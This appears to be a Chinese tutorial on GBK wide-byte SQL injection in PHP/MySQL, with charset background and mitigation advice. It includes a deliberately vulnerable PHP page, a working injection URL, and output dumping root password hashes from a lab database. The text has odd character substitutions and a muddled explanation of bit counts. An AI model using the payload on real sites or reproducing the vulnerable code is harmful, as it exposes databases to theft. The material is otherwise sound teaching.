编码注入漏洞分析

常见的编码注入也就是宽字节注入了。

首先,咱们来了解一下关于字符集与编码方式的一些基本概念。

计算机中储存的信息都是用二进制数表示的;而咱们在屏幕上看到的英文、汉字等字符是二进制数转换以后的结果。通俗的说,按照何种规则将字符存储在计算机 中,如'a'用什么表示,称为"编码";反之,将存储在计算机中的二进制数解析显示出来,称为"解码",如同密码学中的加密和解密。在解码过程当中,若是使 用了错误的解码规则,则致使'a'解析成'b'或者乱码。

字符集:是一个系统支持的全部抽象字符的集合。字符是各类文字和符号的总称,包括各国家文字、标点符号、图形符号、数字等。

字符编码:是一套法则,使用该法则可以对天然语言的字符的一个集合(如字母表或音节表),与其余东西的一个集合(如号码或电脉冲)进行配对。即在符号集合与数字系统之间创建对应关系,它是信息处理的一项基本技术。一般人们用符号集合(通常状况下就是文字)来表达信息。而以计算机为基础的信息处理系统则是利用元件(硬件)不一样状态的组合来存储和处理信息的。元件不一样状态的组合能表明数字系统的数字,所以字符编码就是将符号转换为计算机能够接受的数字系统的数,称为数字代码。

常见字符集:ASCII字符集、GB2312字符集、BIG5字符集、GB18030字符集、Unicode字符集等。计算机要准确的处理各类字符集文字,须要进行字符编码,以便计算机可以识别和存储各类文字。

ASCII字符集:主要包括控制字符(回车键、退格、换行键等);可显示字符(英文大小写字符、阿拉伯数字和西文符号)。

表示范围:0~127

这种编码,只适合西方人的计算机,当计算机传遍世界的时候,就出现了杂七杂八的文字及其余信息,可是,计算机很执着,依然仍是按照已有的习惯进行编码存储,解码输出(编码与解码实际上是互为反法则)。

这样,就产生了一个问题,你输入的信息,如:中国,计算机按照他已有的习惯(法则)来对中国这个信息进行编码存储,好比,按照已有的习惯(法则),#对应00100011,计算机就把00100011转化为电脉冲存储在硬件上了。而中国这个信息,按照这个法则,他找不到对应关系,怎么办,法则程序处理出错,乱码了,乱码也要转换为电脉冲存储在硬件上吧,因此,将这个乱码的信息存储在硬件上,当下次解码输出存储在硬件上的信息的时候,仍是经过这个法则进行解码,怎么样,依然是第一次法则做用后的结果:乱码吧。

因此,要解决这个乱码问题,咱们就只能从新设计这个法则系统了(即法则程序)。

设想,若是咱们用两个字节来表示信息(世间万物,其实两个字节仍是不够表示),岂不是能够表示比一个字节更多的信息?

一个字节:8位,能够表示128种状态(考虑最高位为符号位)

两个字节:16位,能够表示32768种状态(考虑最高位为符号位)

看到了吗:两个字节表示汉字其实已经足够了,并且还能够把用8位法则表示的那些信息通通收纳。

可是,世界那么大,文字那么多,怎么才能设计出一个完美的法则系统,把这些文字以及其余信息通通收纳呢?爱因斯坦寻求“天地大统一”理论,到最后都没有成功,这个可比“天地大统一”理论简单啊。

我若是用三字节、四字节、五字节、六字节…

那么,你本身算算,能够表示多少信息(虽然很浪费RAM,可是很惬意)。

到此,是否是已经完全的明白字符、字符集、字符编码、字符解码了。

那么,宽字节的概念也应该明白了吧(其实,宽字节就是两个字节,没有你想象的那么宽)。

接下来,讲讲宽字节注入的原理及过程

首先,宽字节注入与HTML页面编码是无关的,好比:HTML页面编码是:<meta charset=utf8>

不少人就以为utf-8不是宽字节,因此,就认为该页面没有宽字节注入,这是一个误区。

咱们来看下MySQL处理编码的流程:

MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

进行内部操做前将请求数据从character_set_connection转换为内部操做字符集,其肯定方法以下:

使用每一个数据字段的CHARACTER SET设定值

若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准)

若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值

若上述值不存在,则使用character_set_server设定值

将操做结果从内部操做字符集转换为character_set_results

宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。

宽字节注入的本质就是使用%df来吃掉%5c,使单引号闭合,达到注入的目的。

宽字节注入测试代码以下:

kuanzijie.php 源代码:

<!DOCTYPE html>

<!--仅用于基础的显示,换成utf8也行就是很差看-->

<meta charset="gbk">

<?php

error_reporting(0);

$conn = mysql_connect('127.0.0.1','root','root');

mysql_select_db('mysql',$conn);

//不安全的编码设置方式

mysql_query("set names gbk");

//显示当前数据库设置的各项字符集

$res = mysql_query("show variables like 'character%';");

while($row = mysql_fetch_array($res))

{

var_dump($row);

}

//mysql_real_escape_string() magic_quotes_gpc=On addslashes() mysql_escape_string()功能相似

$user = addslashes($_GET['a']);

$sql = "SELECT host,user,password FROM user WHERE user='{$user}'";

echo $sql.'</br>';

if($res = mysql_query($sql))

{

while($row = mysql_fetch_array($res))

{

var_dump($row);

}

}

else

{

echo "Error".mysql_error()."<br/>";

}

?>

在Firefox中输入:http://localhost:81/kuanzijie.php?a=root%df%27%20or%201=1%23

Webserver返回以下信息:

array(4) { [0]=> string(20) "character_set_client" ["Variable_name"]=> string(20) "character_set_client" [1]=> string(3) "gbk" ["Value"]=> string(3) "gbk" } array(4) { [0]=> string(24) "character_set_connection" ["Variable_name"]=> string(24) "character_set_connection" [1]=> string(3) "gbk" ["Value"]=> string(3) "gbk" } array(4) { [0]=> string(22) "character_set_database" ["Variable_name"]=> string(22) "character_set_database" [1]=> string(3) "gbk" ["Value"]=> string(3) "gbk" } array(4) { [0]=> string(24) "character_set_filesystem" ["Variable_name"]=> string(24) "character_set_filesystem" [1]=> string(6) "binary" ["Value"]=> string(6) "binary" } array(4) { [0]=> string(21) "character_set_results" ["Variable_name"]=> string(21) "character_set_results" [1]=> string(3) "gbk" ["Value"]=> string(3) "gbk" } array(4) { [0]=> string(20) "character_set_server" ["Variable_name"]=> string(20) "character_set_server" [1]=> string(3) "gbk" ["Value"]=> string(3) "gbk" } array(4) { [0]=> string(20) "character_set_system" ["Variable_name"]=> string(20) "character_set_system" [1]=> string(4) "utf8" ["Value"]=> string(4) "utf8" } array(4) { [0]=> string(18) "character_sets_dir" ["Variable_name"]=> string(18) "character_sets_dir" [1]=> string(33) "C:\phpStudy\MySQL\share\charsets\" ["Value"]=> string(33) "C:\phpStudy\MySQL\share\charsets\" } SELECT host,user,password FROM user WHERE user='root運' or 1=1#'
array(6) { [0]=> string(9) "localhost" ["host"]=> string(9) "localhost" [1]=> string(4) "root" ["user"]=> string(4) "root" [2]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" ["password"]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" } array(6) { [0]=> string(9) "127.0.0.1" ["host"]=> string(9) "127.0.0.1" [1]=> string(4) "root" ["user"]=> string(4) "root" [2]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" ["password"]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" }

看到了吗:

SELECT host,user,password FROM user WHERE user='root運' or 1=1#'

就是这句话实现了宽字节注入。

注入结果是:

"localhost" ["host"]=> string(9) "localhost" [1]=> string(4) "root" ["user"]=> string(4) "root" [2]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" ["password"]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" } array(6) { [0]=> string(9) "127.0.0.1" ["host"]=> string(9) "127.0.0.1" [1]=> string(4) "root" ["user"]=> string(4) "root" [2]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" ["password"]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B"

在MySQL控制台执行上面的SQL语句,效果也是同样的,如图:php

 

 

此时,咱们不由疑问,\是怎么被%df吃掉的呢?

答案以下:

GBK编码,它的编码范围是0x8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c,所以吃掉‘\’,而%2七、%20小于ascii(128)的字符就保留了。

GB2312是被GBK兼容的,它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE(0x5C不在该范围内),所以不能使用编码吃掉%5c。

其它的宽字符集也是同样的分析过程,要吃掉%5c,只须要低位中包含正常的0x5c就好了。

安全建议:

使用mysql_set_charset(‘gbk’)来设置咱们MySQL的编码,而后使用mysql_real_escape_string函数来实现参数过滤,这样的搭配设置基本上就能够解决宽字节注入的状况了。html

相关文章
相关标签/搜索